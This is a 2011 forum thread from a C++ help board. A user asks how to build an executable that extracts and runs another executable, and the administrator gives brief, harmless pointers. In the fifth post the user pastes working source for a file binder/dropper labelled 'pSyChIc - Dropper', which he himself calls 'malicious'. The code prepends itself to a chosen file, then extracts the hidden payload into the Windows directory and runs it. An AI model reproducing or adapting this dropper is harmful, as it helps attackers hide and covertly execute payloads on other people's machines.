Output Exe File - Extract it from another Exe

Discussion in 'C++' started by Scripting, Apr 28, 2011.

  1. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    Hello guys, I want to ask you for a little help.
    I wand to find out how to make such a executable file (in C++), that if it is run, it will extract another executable Exe e.g to directory C:\\my_extracted_file.exe. And that my_extracted_file.exe should display some MessageBox, if it's run.


    I hope, that someone will help me, I read alots of internet articles about this, but I failed...
    Please don't post me some references, I can't understand it somehow. I would be very delighted if you show me some example code (C++).
     
  2. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
    I don't have the program in hand but can shed you the concept on how to get this done.

    Create the exe file you want to be extracted.

    Now Add that exe file as a resource to the other project and in some handler extract the resource as an executable file.
     
    Scripting likes this.
  3. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    But how to add resource to other project? (Dev-C++). And how to extract resource :(
    I know that it seems like i'm just stupid beginner, but I have done a good deal of work in C++,
    but just can't get this, what you just explained me. But nevertheless thank you for reply...
     
  4. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
    I am not an expert in Dev-C++ but in MFC you can add the resource.
     
    Scripting likes this.
  5. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    Ok, so I found some "malicious" code, It creates some exe in windir, but that exe is empty, so if you can, please suggest me how to write to that file MessageBox function.

    Here's the code:
    Code:
    #include <iostream.h>
    #include <fstream.h>
    #include <windows.h>
    #include <string.h>
    int write(int mysize,char *tpath,char *mybuf)
    {
        int tsize = 0;
        ifstream tfile(tpath,ios::binary);
        tfile.seekg (0,ios::end);
        tsize = tfile.tellg(); 
        tfile.seekg (0,ios::beg); 
        char tbuf[tsize];    
        tfile.read(tbuf,tsize);     
        tfile.close();     
        ofstream outputfile(tpath,ios::binary);     
        outputfile.write(mybuf,mysize);     
        outputfile.write(tbuf,tsize);     
        outputfile.close();     
        cout<<tpath<<endl; 
    };    
      
    void extract(int mysize,char *target)
    {     
          char windir[250];
          GetWindowsDirectory(windir,MAX_PATH);     
          ifstream tfile(target,ios::binary);     
          tfile.seekg (427646);     
          int theamount = mysize - 427646;     
          char tbuf[theamount];     
          tfile.read(tbuf,theamount);     
          tfile.close();     
          char mypath[100];     
          strcpy (mypath,windir);     
          strcat (mypath,"\\AAA.exe");     
          ofstream outfile(mypath,ios::binary);     
          outfile.write(tbuf,theamount);     
          outfile.close();     
          cout<<mypath;     
          system(mypath); };  
             
    int checkit(int mysize,char *mybuf,char *target)
    {     
          int checker = 0;     
          char tpath[512];      
          if (mysize != 427646)     
          {     
                extract(mysize,target);
          }         
          else     
          {     
                cout<<"pSyChIc - Dropper"<<endl;
                cout<<"Input file path"<<endl;
                cin>>tpath;
                write (mysize,tpath,mybuf);
          }             
    };      
    
    int main(int argc, char *argv[]) 
    { 
        long mysize;
        char *target;
        target= argv[0];
        ifstream myfile(argv[0],ios::binary);
        myfile.seekg (0,ios::end);
        mysize = myfile.tellg();
        myfile.seekg (0,ios::beg); 
        char mybuf[mysize]; 
        myfile.read(mybuf,mysize); 
        myfile.close();    
        checkit (mysize,mybuf,target);
    }
    
    Do not care about some Check func or any other parts :D

    I think this will be easier and more compatible than ur previous idea, but that was good too, only problem is that i don't know how to work with MFC ..., so please help me with this .
     
    Last edited: Apr 28, 2011
  6. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    I don't quite understand that code, but I just need to add there that MessageBox function, that's all. Thank for all replies !
     
  7. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,375
    Likes Received:
    388
    Trophy Points:
    83
    Try AfxMessageBox
     
  8. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    As I told you previously, I can't use any Afx or similiar VC++ things, I use Dev-C++, so please suggest me some solution for the code i posted previously.
     
  9. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    Damn, no one can solve this problem ...
     
  10. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    go4noob, there is none expert, who could solve this problem ...
     

Share This Page

  1. This site uses cookies to help personalise content, tailor your experience and to keep you logged in if you register.
    By continuing to use this site, you are consenting to our use of cookies.
    Dismiss Notice